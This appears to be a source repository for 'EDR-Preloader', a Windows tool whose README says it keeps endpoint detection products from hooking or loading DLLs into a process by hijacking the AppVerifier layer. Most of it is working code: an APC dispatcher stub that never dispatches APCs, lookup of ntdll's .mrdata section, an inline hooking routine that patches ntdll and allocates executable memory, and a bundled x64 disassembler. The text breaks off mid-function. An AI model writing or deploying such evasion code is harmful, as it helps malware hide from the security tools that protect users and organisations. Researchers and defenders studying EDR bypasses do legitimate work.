├── README.md ├── includes ├── SafeRuntime.h ├── SafeRuntime.cpp ├── Types.h ├── hde64.h └── hde64.cpp ├── KiUserApcDispatcher.asm ├── EDR-Preloader.vcxproj └── Main.cpp /README.md: -------------------------------------------------------------------------------- 1 | # EDR-Preloader 2 | An EDR bypass that prevent EDRs from hooking or loading DLLs into our process by hijacking the AppVerifier layer 3 | 4 | For details, see: [malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html](https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html) 5 | -------------------------------------------------------------------------------- /includes/SafeRuntime.h: -------------------------------------------------------------------------------- 1 | namespace SafeRuntime { 2 | size_t strlen(const char* str); 3 | int memcmp(const void* s1, const void* s2, size_t length); 4 | void memcpy(void* dest, void* src, size_t length); 5 | wchar_t towlower(wchar_t wc); 6 | int wstring_compare_i(const wchar_t* s1, const wchar_t* s2); 7 | }; -------------------------------------------------------------------------------- /KiUserApcDispatcher.asm: -------------------------------------------------------------------------------- 1 | _TEXT SEGMENT 2 | EXTERN GetNtContinue: PROC 3 | 4 | ; simple APC dispatcher that does everything except dispatch APCs 5 | KiUserApcDispatcher PROC 6 | _loop: 7 | call GetNtContinue 8 | mov rcx, rsp 9 | mov rdx, 1 10 | call rax 11 | jmp _loop 12 | ret 13 | KiUserApcDispatcher ENDP 14 | 15 | _TEXT ENDS 16 | END -------------------------------------------------------------------------------- /includes/SafeRuntime.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "SafeRuntime.h" 3 | 4 | /* 5 | * We can't use any imported function early on in PE load, including those from the VC runtime, so we'll implement our own 6 | */ 7 | 8 | size_t SafeRuntime::strlen(const char* str) { 9 | size_t i = 0; 10 | 11 | while (str[i] != 0) 12 | i++; 13 | 14 | return i; 15 | } 16 | 17 | int SafeRuntime::memcmp(const void* s1, const void* s2, size_t length) { 18 | const unsigned char* p1 = (const unsigned char*)s1, *p2 = (const unsigned char*)s2; 19 | while (length--) { 20 | if (*p1 != *p2) { 21 | return *p1 - *p2; 22 | } 23 | p1++; 24 | p2++; 25 | } 26 | return 0; 27 | } 28 | 29 | void SafeRuntime::memcpy(void* dest, void* src, size_t length) { 30 | char* d = (char*)dest; 31 | const char* s = (const char*)src; 32 | 33 | // Copy bytes 34 | while (length--) { 35 | *d++ = *s++; 36 | }; 37 | } 38 | 39 | wchar_t SafeRuntime::towlower(wchar_t wc) { 40 | if (wc >= L'A' && wc <= L'Z') { 41 | return wc + (L'a' - L'A'); 42 | } 43 | return wc; 44 | } 45 | 46 | int SafeRuntime::wstring_compare_i(const wchar_t* s1, const wchar_t* s2) { 47 | wchar_t c1, c2; 48 | do { 49 | c1 = towlower(*s1++); 50 | c2 = towlower(*s2++); 51 | if (c1 == L'\0') { 52 | break; 53 | } 54 | } while (c1 == c2); 55 | 56 | return (c1 < c2) ? -1 : (c1 > c2); 57 | } 58 | -------------------------------------------------------------------------------- /includes/Types.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef NTSTATUS(WINAPI *t_NtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, 6 | ULONG AllocationType, ULONG Protect); 7 | typedef NTSTATUS(WINAPI *t_NtProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, 8 | PULONG OldProtect); 9 | typedef NTSTATUS(WINAPI *t_LdrLoadDll)(PWSTR search_path, PULONG dll_characteristics, UNICODE_STRING* dll_name, PVOID* base_address); 10 | typedef NTSTATUS(WINAPI *t_NtContinue)(PCONTEXT ThreadContext, BOOLEAN RaiseAlert); 11 | typedef LPVOID(WINAPI *t_BaseThreadInitThunk)(DWORD unknown, LPVOID thread_start, LPVOID param); 12 | typedef void (WINAPI *t_OutputDebugStringW)(LPCWSTR lpOutputString); 13 | 14 | struct PTR_TABLE { 15 | t_NtProtectVirtualMemory NtProtectVirtualMemory; 16 | t_NtAllocateVirtualMemory NtAllocateVirtualMemory; 17 | t_LdrLoadDll LdrLoadDll; 18 | t_NtContinue NtContinue; 19 | t_OutputDebugStringW OutputDebugStringW; 20 | LPVOID KiUserApcDispatcher; 21 | }; 22 | 23 | typedef struct _LDR_DATA_TABLE_ENTRY2 24 | { 25 | LIST_ENTRY InLoadOrderLinks; 26 | LIST_ENTRY InMemoryOrderLinks; 27 | LIST_ENTRY InInitializationOrderLinks; 28 | PVOID DllBase; 29 | PVOID EntryPoint; 30 | ULONG SizeOfImage; 31 | UNICODE_STRING FullDllName; 32 | UNICODE_STRING BaseDllName; 33 | ULONG Flags; 34 | WORD LoadCount; 35 | WORD TlsIndex; 36 | } LDR_DATA_TABLE_ENTRY2, *PLDR_DATA_TABLE_ENTRY2; -------------------------------------------------------------------------------- /includes/hde64.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | * hde64.h: C/C++ header file 7 | * 8 | */ 9 | 10 | #ifndef _HDE64_H_ 11 | #define _HDE64_H_ 12 | 13 | /* stdint.h - C99 standard header 14 | * http://en.wikipedia.org/wiki/stdint.h 15 | * 16 | * if your compiler doesn't contain "stdint.h" header (for 17 | * example, Microsoft Visual C++), you can download file: 18 | * http://www.azillionmonkeys.com/qed/pstdint.h 19 | * and change next line to: 20 | * #include "pstdint.h" 21 | */ 22 | #include 23 | // Integer types for HDE. 24 | typedef INT8 int8_t; 25 | typedef INT16 int16_t; 26 | typedef INT32 int32_t; 27 | typedef INT64 int64_t; 28 | typedef UINT8 uint8_t; 29 | typedef UINT16 uint16_t; 30 | typedef UINT32 uint32_t; 31 | typedef UINT64 uint64_t; 32 | 33 | #define F_MODRM 0x00000001 34 | #define F_SIB 0x00000002 35 | #define F_IMM8 0x00000004 36 | #define F_IMM16 0x00000008 37 | #define F_IMM32 0x00000010 38 | #define F_IMM64 0x00000020 39 | #define F_DISP8 0x00000040 40 | #define F_DISP16 0x00000080 41 | #define F_DISP32 0x00000100 42 | #define F_RELATIVE 0x00000200 43 | #define F_ERROR 0x00001000 44 | #define F_ERROR_OPCODE 0x00002000 45 | #define F_ERROR_LENGTH 0x00004000 46 | #define F_ERROR_LOCK 0x00008000 47 | #define F_ERROR_OPERAND 0x00010000 48 | #define F_PREFIX_REPNZ 0x01000000 49 | #define F_PREFIX_REPX 0x02000000 50 | #define F_PREFIX_REP 0x03000000 51 | #define F_PREFIX_66 0x04000000 52 | #define F_PREFIX_67 0x08000000 53 | #define F_PREFIX_LOCK 0x10000000 54 | #define F_PREFIX_SEG 0x20000000 55 | #define F_PREFIX_REX 0x40000000 56 | #define F_PREFIX_ANY 0x7f000000 57 | 58 | #define PREFIX_SEGMENT_CS 0x2e 59 | #define PREFIX_SEGMENT_SS 0x36 60 | #define PREFIX_SEGMENT_DS 0x3e 61 | #define PREFIX_SEGMENT_ES 0x26 62 | #define PREFIX_SEGMENT_FS 0x64 63 | #define PREFIX_SEGMENT_GS 0x65 64 | #define PREFIX_LOCK 0xf0 65 | #define PREFIX_REPNZ 0xf2 66 | #define PREFIX_REPX 0xf3 67 | #define PREFIX_OPERAND_SIZE 0x66 68 | #define PREFIX_ADDRESS_SIZE 0x67 69 | 70 | #pragma pack(push,1) 71 | 72 | typedef struct { 73 | uint8_t len; 74 | uint8_t p_rep; 75 | uint8_t p_lock; 76 | uint8_t p_seg; 77 | uint8_t p_66; 78 | uint8_t p_67; 79 | uint8_t rex; 80 | uint8_t rex_w; 81 | uint8_t rex_r; 82 | uint8_t rex_x; 83 | uint8_t rex_b; 84 | uint8_t opcode; 85 | uint8_t opcode2; 86 | uint8_t modrm; 87 | uint8_t modrm_mod; 88 | uint8_t modrm_reg; 89 | uint8_t modrm_rm; 90 | uint8_t sib; 91 | uint8_t sib_scale; 92 | uint8_t sib_index; 93 | uint8_t sib_base; 94 | union { 95 | uint8_t imm8; 96 | uint16_t imm16; 97 | uint32_t imm32; 98 | uint64_t imm64; 99 | } imm; 100 | union { 101 | uint8_t disp8; 102 | uint16_t disp16; 103 | uint32_t disp32; 104 | } disp; 105 | uint32_t flags; 106 | } hde64s; 107 | 108 | #pragma pack(pop) 109 | 110 | #ifdef __cplusplus 111 | extern "C" { 112 | #endif 113 | 114 | /* __cdecl */ 115 | unsigned int hde64_disasm(const void *code, hde64s *hs); 116 | 117 | #ifdef __cplusplus 118 | } 119 | #endif 120 | 121 | #endif /* _HDE64_H_ */ 122 | -------------------------------------------------------------------------------- /EDR-Preloader.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {A9DECC1D-C35F-4818-A6B4-2D7522A06E93} 24 | Win32Proj 25 | EDRPreloader 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | true 79 | 80 | 81 | false 82 | 83 | 84 | false 85 | 86 | 87 | 88 | 89 | 90 | Level3 91 | Disabled 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | 104 | 105 | Level3 106 | Disabled 107 | true 108 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 109 | true 110 | 111 | 112 | Console 113 | true 114 | 115 | 116 | 117 | 118 | 119 | 120 | Level3 121 | MaxSpeed 122 | true 123 | true 124 | true 125 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 126 | true 127 | 128 | 129 | Console 130 | true 131 | true 132 | true 133 | 134 | 135 | 136 | 137 | 138 | 139 | Level3 140 | MaxSpeed 141 | true 142 | true 143 | true 144 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 145 | true 146 | MultiThreaded 147 | 148 | 149 | Console 150 | true 151 | true 152 | true 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | false 163 | Document 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | -------------------------------------------------------------------------------- /includes/hde64.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 C 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | */ 7 | 8 | #if defined(_M_X64) || defined(__x86_64__) 9 | 10 | #include 11 | #include "hde64.h" 12 | 13 | #define C_NONE 0x00 14 | #define C_MODRM 0x01 15 | #define C_IMM8 0x02 16 | #define C_IMM16 0x04 17 | #define C_IMM_P66 0x10 18 | #define C_REL8 0x20 19 | #define C_REL32 0x40 20 | #define C_GROUP 0x80 21 | #define C_ERROR 0xff 22 | 23 | #define PRE_ANY 0x00 24 | #define PRE_NONE 0x01 25 | #define PRE_F2 0x02 26 | #define PRE_F3 0x04 27 | #define PRE_66 0x08 28 | #define PRE_67 0x10 29 | #define PRE_LOCK 0x20 30 | #define PRE_SEG 0x40 31 | #define PRE_ALL 0xff 32 | 33 | #define DELTA_OPCODES 0x4a 34 | #define DELTA_FPU_REG 0xfd 35 | #define DELTA_FPU_MODRM 0x104 36 | #define DELTA_PREFIXES 0x13c 37 | #define DELTA_OP_LOCK_OK 0x1ae 38 | #define DELTA_OP2_LOCK_OK 0x1c6 39 | #define DELTA_OP_ONLY_MEM 0x1d8 40 | #define DELTA_OP2_ONLY_MEM 0x1e7 41 | 42 | unsigned char hde64_table[] = { 43 | 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, 44 | 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, 45 | 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, 46 | 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, 47 | 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, 48 | 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, 49 | 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, 50 | 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, 51 | 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, 52 | 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, 53 | 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, 54 | 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, 55 | 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, 56 | 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, 57 | 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, 58 | 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, 59 | 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, 60 | 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, 61 | 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, 62 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, 63 | 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, 64 | 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, 65 | 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, 66 | 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, 67 | 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, 68 | 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, 69 | 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, 70 | 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, 71 | 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, 72 | 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, 73 | 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, 74 | 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, 75 | 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, 76 | 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, 77 | 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, 78 | 0x00,0xf0,0x02,0x00 79 | }; 80 | 81 | unsigned int hde64_disasm(const void *code, hde64s *hs) 82 | { 83 | uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; 84 | uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; 85 | uint8_t op64 = 0; 86 | 87 | memset(hs, 0, sizeof(hde64s)); 88 | 89 | for (x = 16; x; x--) 90 | switch (c = *p++) { 91 | case 0xf3: 92 | hs->p_rep = c; 93 | pref |= PRE_F3; 94 | break; 95 | case 0xf2: 96 | hs->p_rep = c; 97 | pref |= PRE_F2; 98 | break; 99 | case 0xf0: 100 | hs->p_lock = c; 101 | pref |= PRE_LOCK; 102 | break; 103 | case 0x26: case 0x2e: case 0x36: 104 | case 0x3e: case 0x64: case 0x65: 105 | hs->p_seg = c; 106 | pref |= PRE_SEG; 107 | break; 108 | case 0x66: 109 | hs->p_66 = c; 110 | pref |= PRE_66; 111 | break; 112 | case 0x67: 113 | hs->p_67 = c; 114 | pref |= PRE_67; 115 | break; 116 | default: 117 | goto pref_done; 118 | } 119 | pref_done: 120 | 121 | hs->flags = (uint32_t)pref << 23; 122 | 123 | if (!pref) 124 | pref |= PRE_NONE; 125 | 126 | if ((c & 0xf0) == 0x40) { 127 | hs->flags |= F_PREFIX_REX; 128 | if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) 129 | op64++; 130 | hs->rex_r = (c & 7) >> 2; 131 | hs->rex_x = (c & 3) >> 1; 132 | hs->rex_b = c & 1; 133 | if (((c = *p++) & 0xf0) == 0x40) { 134 | opcode = c; 135 | goto error_opcode; 136 | } 137 | } 138 | 139 | if ((hs->opcode = c) == 0x0f) { 140 | hs->opcode2 = c = *p++; 141 | ht += DELTA_OPCODES; 142 | } 143 | else if (c >= 0xa0 && c <= 0xa3) { 144 | op64++; 145 | if (pref & PRE_67) 146 | pref |= PRE_66; 147 | else 148 | pref &= ~PRE_66; 149 | } 150 | 151 | opcode = c; 152 | cflags = ht[ht[opcode / 4] + (opcode % 4)]; 153 | 154 | if (cflags == C_ERROR) { 155 | error_opcode: 156 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 157 | cflags = 0; 158 | if ((opcode & -3) == 0x24) 159 | cflags++; 160 | } 161 | 162 | x = 0; 163 | if (cflags & C_GROUP) { 164 | uint16_t t; 165 | t = *(uint16_t *)(ht + (cflags & 0x7f)); 166 | cflags = (uint8_t)t; 167 | x = (uint8_t)(t >> 8); 168 | } 169 | 170 | if (hs->opcode2) { 171 | ht = hde64_table + DELTA_PREFIXES; 172 | if (ht[ht[opcode / 4] + (opcode % 4)] & pref) 173 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 174 | } 175 | 176 | if (cflags & C_MODRM) { 177 | hs->flags |= F_MODRM; 178 | hs->modrm = c = *p++; 179 | hs->modrm_mod = m_mod = c >> 6; 180 | hs->modrm_rm = m_rm = c & 7; 181 | hs->modrm_reg = m_reg = (c & 0x3f) >> 3; 182 | 183 | if (x && ((x << m_reg) & 0x80)) 184 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 185 | 186 | if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { 187 | uint8_t t = opcode - 0xd9; 188 | if (m_mod == 3) { 189 | ht = hde64_table + DELTA_FPU_MODRM + t * 8; 190 | t = ht[m_reg] << m_rm; 191 | } 192 | else { 193 | ht = hde64_table + DELTA_FPU_REG; 194 | t = ht[t] << m_reg; 195 | } 196 | if (t & 0x80) 197 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 198 | } 199 | 200 | if (pref & PRE_LOCK) { 201 | if (m_mod == 3) { 202 | hs->flags |= F_ERROR | F_ERROR_LOCK; 203 | } 204 | else { 205 | uint8_t *table_end, op = opcode; 206 | if (hs->opcode2) { 207 | ht = hde64_table + DELTA_OP2_LOCK_OK; 208 | table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; 209 | } 210 | else { 211 | ht = hde64_table + DELTA_OP_LOCK_OK; 212 | table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; 213 | op &= -2; 214 | } 215 | for (; ht != table_end; ht++) 216 | if (*ht++ == op) { 217 | if (!((*ht << m_reg) & 0x80)) 218 | goto no_lock_error; 219 | else 220 | break; 221 | } 222 | hs->flags |= F_ERROR | F_ERROR_LOCK; 223 | no_lock_error: 224 | ; 225 | } 226 | } 227 | 228 | if (hs->opcode2) { 229 | switch (opcode) { 230 | case 0x20: case 0x22: 231 | m_mod = 3; 232 | if (m_reg > 4 || m_reg == 1) 233 | goto error_operand; 234 | else 235 | goto no_error_operand; 236 | case 0x21: case 0x23: 237 | m_mod = 3; 238 | if (m_reg == 4 || m_reg == 5) 239 | goto error_operand; 240 | else 241 | goto no_error_operand; 242 | } 243 | } 244 | else { 245 | switch (opcode) { 246 | case 0x8c: 247 | if (m_reg > 5) 248 | goto error_operand; 249 | else 250 | goto no_error_operand; 251 | case 0x8e: 252 | if (m_reg == 1 || m_reg > 5) 253 | goto error_operand; 254 | else 255 | goto no_error_operand; 256 | } 257 | } 258 | 259 | if (m_mod == 3) { 260 | uint8_t *table_end; 261 | if (hs->opcode2) { 262 | ht = hde64_table + DELTA_OP2_ONLY_MEM; 263 | table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; 264 | } 265 | else { 266 | ht = hde64_table + DELTA_OP_ONLY_MEM; 267 | table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; 268 | } 269 | for (; ht != table_end; ht += 2) 270 | if (*ht++ == opcode) { 271 | if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) 272 | goto error_operand; 273 | else 274 | break; 275 | } 276 | goto no_error_operand; 277 | } 278 | else if (hs->opcode2) { 279 | switch (opcode) { 280 | case 0x50: case 0xd7: case 0xf7: 281 | if (pref & (PRE_NONE | PRE_66)) 282 | goto error_operand; 283 | break; 284 | case 0xd6: 285 | if (pref & (PRE_F2 | PRE_F3)) 286 | goto error_operand; 287 | break; 288 | case 0xc5: 289 | goto error_operand; 290 | } 291 | goto no_error_operand; 292 | } 293 | else 294 | goto no_error_operand; 295 | 296 | error_operand: 297 | hs->flags |= F_ERROR | F_ERROR_OPERAND; 298 | no_error_operand: 299 | 300 | c = *p++; 301 | if (m_reg <= 1) { 302 | if (opcode == 0xf6) 303 | cflags |= C_IMM8; 304 | else if (opcode == 0xf7) 305 | cflags |= C_IMM_P66; 306 | } 307 | 308 | switch (m_mod) { 309 | case 0: 310 | if (pref & PRE_67) { 311 | if (m_rm == 6) 312 | disp_size = 2; 313 | } 314 | else 315 | if (m_rm == 5) 316 | disp_size = 4; 317 | break; 318 | case 1: 319 | disp_size = 1; 320 | break; 321 | case 2: 322 | disp_size = 2; 323 | if (!(pref & PRE_67)) 324 | disp_size <<= 1; 325 | break; 326 | } 327 | 328 | if (m_mod != 3 && m_rm == 4) { 329 | hs->flags |= F_SIB; 330 | p++; 331 | hs->sib = c; 332 | hs->sib_scale = c >> 6; 333 | hs->sib_index = (c & 0x3f) >> 3; 334 | if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) 335 | disp_size = 4; 336 | } 337 | 338 | p--; 339 | switch (disp_size) { 340 | case 1: 341 | hs->flags |= F_DISP8; 342 | hs->disp.disp8 = *p; 343 | break; 344 | case 2: 345 | hs->flags |= F_DISP16; 346 | hs->disp.disp16 = *(uint16_t *)p; 347 | break; 348 | case 4: 349 | hs->flags |= F_DISP32; 350 | hs->disp.disp32 = *(uint32_t *)p; 351 | break; 352 | } 353 | p += disp_size; 354 | } 355 | else if (pref & PRE_LOCK) 356 | hs->flags |= F_ERROR | F_ERROR_LOCK; 357 | 358 | if (cflags & C_IMM_P66) { 359 | if (cflags & C_REL32) { 360 | if (pref & PRE_66) { 361 | hs->flags |= F_IMM16 | F_RELATIVE; 362 | hs->imm.imm16 = *(uint16_t *)p; 363 | p += 2; 364 | goto disasm_done; 365 | } 366 | goto rel32_ok; 367 | } 368 | if (op64) { 369 | hs->flags |= F_IMM64; 370 | hs->imm.imm64 = *(uint64_t *)p; 371 | p += 8; 372 | } 373 | else if (!(pref & PRE_66)) { 374 | hs->flags |= F_IMM32; 375 | hs->imm.imm32 = *(uint32_t *)p; 376 | p += 4; 377 | } 378 | else 379 | goto imm16_ok; 380 | } 381 | 382 | 383 | if (cflags & C_IMM16) { 384 | imm16_ok: 385 | hs->flags |= F_IMM16; 386 | hs->imm.imm16 = *(uint16_t *)p; 387 | p += 2; 388 | } 389 | if (cflags & C_IMM8) { 390 | hs->flags |= F_IMM8; 391 | hs->imm.imm8 = *p++; 392 | } 393 | 394 | if (cflags & C_REL32) { 395 | rel32_ok: 396 | hs->flags |= F_IMM32 | F_RELATIVE; 397 | hs->imm.imm32 = *(uint32_t *)p; 398 | p += 4; 399 | } 400 | else if (cflags & C_REL8) { 401 | hs->flags |= F_IMM8 | F_RELATIVE; 402 | hs->imm.imm8 = *p++; 403 | } 404 | 405 | disasm_done: 406 | 407 | if ((hs->len = (uint8_t)(p - (uint8_t *)code)) > 15) { 408 | hs->flags |= F_ERROR | F_ERROR_LENGTH; 409 | hs->len = 15; 410 | } 411 | 412 | return (unsigned int)hs->len; 413 | } 414 | 415 | #endif // defined(_M_X64) || defined(__x86_64__) 416 | -------------------------------------------------------------------------------- /Main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "Includes/Types.h" 4 | #include "Includes/SafeRuntime.h" 5 | #include "Includes/hde64.h" 6 | 7 | static PTR_TABLE g_ptr_table = { 0 }; 8 | 9 | t_LdrLoadDll OriginalLdrLoadDll; 10 | 11 | // Declare functions as extern C so we don't have to mess with C++ name mangling during linking with KiUserApc.asm. 12 | extern "C" { 13 | // defined in KiUserApc.asm 14 | void KiUserApcDispatcher(); 15 | 16 | // called from KiuserApcDispatcher() to get the NtContinue() address from g_ptr_table structure 17 | LPVOID GetNtContinue() { 18 | return g_ptr_table.NtContinue; 19 | } 20 | } 21 | 22 | // get the base address of a PE section (used to find .mrdata in ntdll) 23 | ULONG_PTR GetSectionBase(ULONG_PTR base_address, const char* name) { 24 | IMAGE_DOS_HEADER* dos_header; 25 | IMAGE_NT_HEADERS* nt_headers; 26 | IMAGE_SECTION_HEADER* section_header; 27 | 28 | dos_header = (IMAGE_DOS_HEADER*)base_address; 29 | nt_headers = (IMAGE_NT_HEADERS*)((ULONG_PTR)dos_header + dos_header->e_lfanew); 30 | section_header = (IMAGE_SECTION_HEADER*)((ULONG_PTR)nt_headers + sizeof(IMAGE_NT_HEADERS)); 31 | 32 | if (dos_header->e_magic != IMAGE_DOS_SIGNATURE || nt_headers->Signature != IMAGE_NT_SIGNATURE) { 33 | printf("GetSectionBase() failed, invalid header\n"); 34 | return NULL; 35 | } 36 | 37 | for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) { 38 | if (SafeRuntime::memcmp(name, section_header[i].Name, SafeRuntime::strlen(name)) == 0) { 39 | return base_address + section_header[i].VirtualAddress; 40 | } 41 | } 42 | 43 | printf("GetSectionBase() failed, section not found\n"); 44 | return NULL; 45 | } 46 | 47 | // a simple hooking function to enable us to hook ntdll functions (don't use this in prod, the code is awful) 48 | void HookFunction(LPVOID target_address, LPVOID hook_procedure, LPVOID *original_bytes) { 49 | BYTE jmp_buffer[] = { 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0 }; 50 | BYTE ret_buffer[32] = { 0x90 }; 51 | DWORD old_protection = 0; 52 | size_t total_size = 0, inst_len = 0; 53 | PVOID exec_buffer = NULL; 54 | PVOID protect_address = NULL; 55 | 56 | BYTE* ip = (BYTE *)target_address; 57 | 58 | // figure out how many instructions we're going to overwrite so we can save them 59 | while (total_size < sizeof(jmp_buffer)) { 60 | hde64s s; 61 | inst_len = hde64_disasm(&ip[total_size], &s); 62 | total_size += inst_len; 63 | } 64 | 65 | if (original_bytes) { 66 | // make the jump instruction to return to the original function 67 | *(ULONG_PTR*)&jmp_buffer[2] = ((ULONG_PTR)target_address + total_size); 68 | 69 | // copy the bytes we'll overwrite into the ret buffer 70 | SafeRuntime::memcpy(&ret_buffer, target_address, total_size); 71 | 72 | // append the original bytes with a jmp to return to the original function 73 | SafeRuntime::memcpy(&ret_buffer[total_size], &jmp_buffer, sizeof(jmp_buffer)); 74 | 75 | // allocate some executable memory to copy the original bytes to 76 | g_ptr_table.NtAllocateVirtualMemory((HANDLE)-1, &exec_buffer, 0, &total_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 77 | *original_bytes = exec_buffer; 78 | 79 | // copy the original bytes 80 | SafeRuntime::memcpy(*original_bytes, &ret_buffer, sizeof(ret_buffer)); 81 | } 82 | 83 